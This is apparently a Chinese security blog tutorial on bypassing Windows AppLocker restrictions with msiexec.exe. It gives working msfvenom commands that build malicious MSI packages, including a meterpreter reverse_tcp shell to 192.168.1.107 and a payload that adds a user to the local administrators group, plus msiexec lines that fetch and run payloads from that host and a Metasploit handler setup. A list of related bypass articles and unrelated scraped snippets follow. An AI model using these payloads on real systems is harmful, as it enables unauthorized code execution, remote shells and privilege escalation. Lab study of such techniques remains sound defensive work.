0x00 前言

在我们之前的文章中,我们讨论了“Windows Applocker策略 - 初学者指南”,因为它们为应用程序控制策略定义了AppLocker规则,以及如何使用它们。但今天您将学习如何绕过AppLocker策略。在本文中,我们使用Windows AppLocker策略阻止了“cmd.exe”文件,并尝试绕过此限制以获得命令提示。

0x01 Applocker适用的关联文件格式

Windows AppLocker是在Windows 7和Windows Server 2008 R2中引入的一种安全策略,用于限制不需要的程序的使用。在这种情况下,管理员可以限制以下程序的执行:

这完全取决于系统管理员,为程序限制或执行设置AppLocker策略的程序或脚本。可能会出现命令提示符(cmd.exe)、PowerShell或dll文件或批处理文件、rundll32.exe、regsrv.32或regasm等被阻止的情况

0x02 挑战1:使用.msi文件绕过Applocker获取CMD

假设您处于类似的情况,所有上述应用程序都被阻止,并且只允许Windows Installer文件(即.msi扩展名)运行而不受任何限制。

那么,您将如何使用一个msi文件来绕过这些限制并获得一个完整的权限shell呢?

1.关于MSI文件的更多信息

MSI名称来自程序的原始标题Microsoft Installer。从那以后,名称改为Windows Installer。MSI文件扩展名文件是Windows软件包安装程序。安装程序包中包含Windows Installer安装或卸载应用程序所需的所有信息。每个安装包都包含一个.msi文件,其中包含安装数据库、摘要信息流和安装不同部分的数据流。

Windows Installer技术分为两部分,它们结合使用,包括客户端安装程序服务(msiexec.exe)和Microsoft软件安装(msi)包文件。Windows Installer使用包文件中包含的信息安装该程序。

msiexec.exe程序是Windows Installer的组件。当安装程序调用它时,msiexec.exe使用msi.dll读取包(.msi)文件,应用任何转换(.mst)文件,并合并安装程序提供的命令行选项。安装程序执行所有与安装相关的任务,包括将文件复制到硬盘、修改注册表、在桌面上创建快捷方式以及显示对话框,以便在必要时提示用户安装首选项。

在计算机上安装Windows Installer时,它会更改.msi文件的已注册文件类型,以便在双击.msi文件时,Msiexec.exe将与该文件一起运行。

每个MSI包文件都包含一个关系型数据库,该数据库存储在许多安装脚步中安装(和删除)程序所需的指令和数据。

2.获取CMD的多种方法

(1).第一种方法:使用msfvenom生成恶意.msi文件

现在,让我们在kali机器中打开一个新的终端,并生成一个恶意的msi包文件作为cmd.msi,通过使用windows/exec 执行exploit获得命令提示,如下所示:

msfvenom -p windows/exec CMD=cmd.exe -f msi > cmd.msi
python -m SimpleHTTPServer

现在在Windows计算机中传输cmd.msi文件,以获得命令提示符shell作为管理员。这里我们使用了python http服务器来共享网络中的文件。

在本地计算机上下载.msi文件后,可以使用以下语法在命令提示符下运行带有msiexec.exe的msi文件。

语法:msiexec /quiet /i

msiexec /quiet /i C:\Users\raj\Desktop\cmd.msi

只要你在运行提示符中点击上述命令,就会得到命令提示符。

 

(2).第二种方法:使用msfvenom生成恶意.msi文件

注意:即使您在另一个扩展名中重命名cmd.msi文件,它也会绕过该规则。

重复以上步骤,生成一个与msfvenom具有相同payload、并命名为cmd.png的msi文件。因为我的kali中已经有了一个cmd.msi文件,所以我将它重命名为cmd.png,并使用python服务器来传输它

在本地计算机(管理员阻止cmd.exe的Windows操作系统)上下载cmd.png文件(实际上是.msi文件)后,就可以使用以下语法在运行提示符内使用msiexec.exe运行.msi文件。

语法: msiexec /q /i

msiexec /q /i http://192.168.1.107/cmd.png

只要你在运行提示符中点击上述命令,就会得到命令提示符。

(3).第三种方法:使用msfvenom生成恶意.msi文件

在上述方法中,我们通过使用windows/exec payload获得命令提示符,但现在我们将使用windows/meterpreter/reverse_tcp payload通过meterpreter会话获得完全权限的命令shell。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport= –f msi > shell.msi

现在再次在Windows计算机中传输shell.msi文件,以获得命令提示符shell作为管理员并启动multi/handler。这里我们使用了python http服务器来共享网络中的文件。

在本地计算机上下载了shell.msi文件(管理员阻止了cmd.exe的Windows操作系统)后,可以使用以下语法在运行提示符内使用msiexec.exe运行.msi文件。

语法: msiexec /q /i

msiexec /q /i http://192.168.1.107/shell.msi

只要您在运行提示符中点击上述命令,您将通过使用此payload的meterpreter会话获得命令提示。

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.107
msf exploit(handler) > set lport
msf exploit(handler) > exploit
meterpreter > shell

0x03 挑战2:使管理员组的本地用户成员

假设您处于类似的情况,所有上述应用程序都被阻止,并且只允许Windows Installer文件(即.msi扩展名)运行而不受任何限制。

那么如何使用MSI文件绕过这些限制,使管理员组的本地用户成员阻止cmd.exe运行?

注意:该aaru是本地用户帐户,不是非管理员用户帐户,如下所示:

我们知道由于applocker执行规则策略,cmd.exe在本地计算机上被阻止,因此我们无法使用命令提示符在管理员组中添加aaru。

(1).第四种方法:使用msfvenom生成恶意.msi文件

使用Windows/Exec payload生成MSI包作为admin.msi,该payload发送一条命令,指示将用户aaru的本地管理员权限添加到目标计算机中。

msfvenom -p windows/exec CMD='net localgroup administrators aaru /add' -f msi > admin.msi

现在,在Windows计算机中传输admin.msi文件以将aaru添加到管理员组中。这里我们使用了python http服务器来共享网络中的文件。

下载完本地计算机的admin.msi文件(其中,admin阻止了cmd.exe的Windows操作系统)后,可以使用以下语法在运行提示符内运行带有msiexec.exe的admin.msi文件

语法:msiexec /q /i

msiexec /q /i http://192.168.1.107/admin.msi

只要您在运行提示符中点击上述命令,就可以确保aaru用户已成为管理员帐户的一部分。

本文中我们将了解到,如何使用.msi文件来绕过操作系统策略限制而执行,在该系统中,cmd.exe和其他应用程序被管理员阻止。

参考文献:

https://support.microsoft.com/en-gb/help/310598/overview-of-the-windows-installer-technology

https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/

 
 
 
 

使用msiexec.exe绕过应用程序白名单(多种方法)的更多相关文章

  1. 使用mshta.exe绕过应用程序白名单(多种方法)

      0x00 简介 很长一段时间以来,HTA文件一直被web攻击或在野恶意软件下载程序用作恶意程序的一部分.HTA文件在网络安全领域内广为人知,从红队和蓝队的角度来看,它是绕过应用程序白名单有价值的“ ...

  2. 使用regsrv32.exe绕过应用程序白名单(多种方法)

    0x00 regsvr简介 regsvr32表示Microsoft注册服务.它是Windows的命令行实用工具.虽然regsvr32有时会导致问题出现,但它是Windows系统文件中的一个重要文件.该 ...

  3. 使用rundll32.exe绕过应用程序白名单(多种方法)

    0x00 前言 本文演示了白名单AppLocker bypass的最常见和最熟悉的技术.我们知道,出于安全原因,系统管理员添加组策略来限制本地用户的应用程序执行.在上一篇文章中,我们讨论了“ Wind ...

  4. 使用msbuild.exe绕过应用程序白名单(多种方法)

      一.MSbuild.exe简介 Microsoft Build Engine是一个用于构建应用程序的平台.此引擎也被称为msbuild,它为项目文件提供一个XML模式,该模式控制构建平台如何处理和 ...

  5. 使用wmic.exe绕过应用程序白名单(多种方法)

      一.Wmic.exe wmic实用程序是一款Microsoft工具,它提供一个wmi命令行界面,用于本地和远程计算机的各种管理功能,以及wmic查询,例如系统设置.停止进程和本地或远程运行脚本.因 ...

  6. 使用cmstp绕过应用程序白名单

    默认情况下,AppLocker允许在文件夹中执行二进制文件,这是可以绕过它的主要原因.已经发现,这样的二进制文件可以很容易地用于绕过AppLocker和UAC.与Microsoft相关的二进制文件之一 ...

  7. GreatSct -应用程序白名单bypass工具

      0x00 GreatSCT简介 GreatSCT目前得到了@ConsciousHacker的支持,该项目名为Great SCT(Great Scott).Great SCT是一个用于生成应用程序白 ...

  8. 项目适配iOS9遇到的一些问题及解决办法 ,以及URL 白名单配置方法

    1.网络请求报错.升级Xcode 7.0发现网络访问失败.输出错误信息 The resource could not be loaded because the App Transport Secur ...

  9. 将非官方扩展程序加入chrome的白名单

    参考来源:http://xclient.info/a/1ddd2a3a-d34b-b568-c0d0-c31a95f0b309.html com.google.Chrome.mobileconfig ...

随机推荐

  1. Oz 创建Ubuntu镜像

    参考链接: http://blog.csdn.net/gcogle/article/details/52767135http://tlinux.blog.51cto.com/7288656/17497 ...

  2. FirstWebApp

    servlet规范中定义了web应用程序的目录层次:http://localhost:8080/docs/appdev/deployment.html 第一个web应用程序 开发,并部署到tomcat ...

  3. React Native移动开发实战-4-Android平台的适配原理

    打开Android开发工具Android Studio,选择菜单 Open an existing AndroidStudio project,打开ch04项目的android文件夹,如图5.8所示. ...

  4. XGB算法梳理

    学习内容: 1.CART树 2.算法原理 3.损失函数 4.分裂结点算法 5.正则化 6.对缺失值处理 7.优缺点 8.应用场景 9.sklearn参数 1.CART树 CART算法是一种二分递归分割 ...

  5. Linux(Contos7.5)环境搭建之JDK1.8安装(二)

    1.下载安装包 wget -p 目录 url包地址 2.解压安装包 tar -xzvf  文件 -C 指定目录 3.修改名称 mv jdk1.8.0_45 jdk1.8 4.配置环境变量 vim /e ...

  6. iOS中使用RNCryptor对资源文件加密(先加密后拖进项目中)

    概述:IPA 在发布时,业务相关的敏感资源文件以明文的形式存储,由于没有加密保护,这些文件在应用发布后 可能被其他人获取,并结合其他漏洞和手段产生真实攻击.所以我们要 1.在设计.开发阶段,集合业务确 ...

  7. mysql 修改语句及耗时

    1.含有某串字母的字段替换: update imagetable set imageID = replace(imageID, 'ZH0211001', 'ZH4111001') 只要imageID含 ...

  8. 【每日scrum】第一次冲刺day3

    学习安卓,和小伙伴讨论百度API调用的问题,最后决定自己写地图

  9. Hibernate笔记④--一级二级缓存、N+1问题、saveorupdate、实例代码

    一级缓存及二级缓存 一级缓存也是Session 缓存     一个链接用户的多次查询使用缓存     跨用户 则无缓存     hibernate自带的 get和load都会填充并利用一级缓存 二级缓 ...

  10. Codeforces Round #341 (Div. 2) E. Wet Shark and Blocks dp+矩阵加速

    题目链接: http://codeforces.com/problemset/problem/621/E E. Wet Shark and Blocks time limit per test2 se ...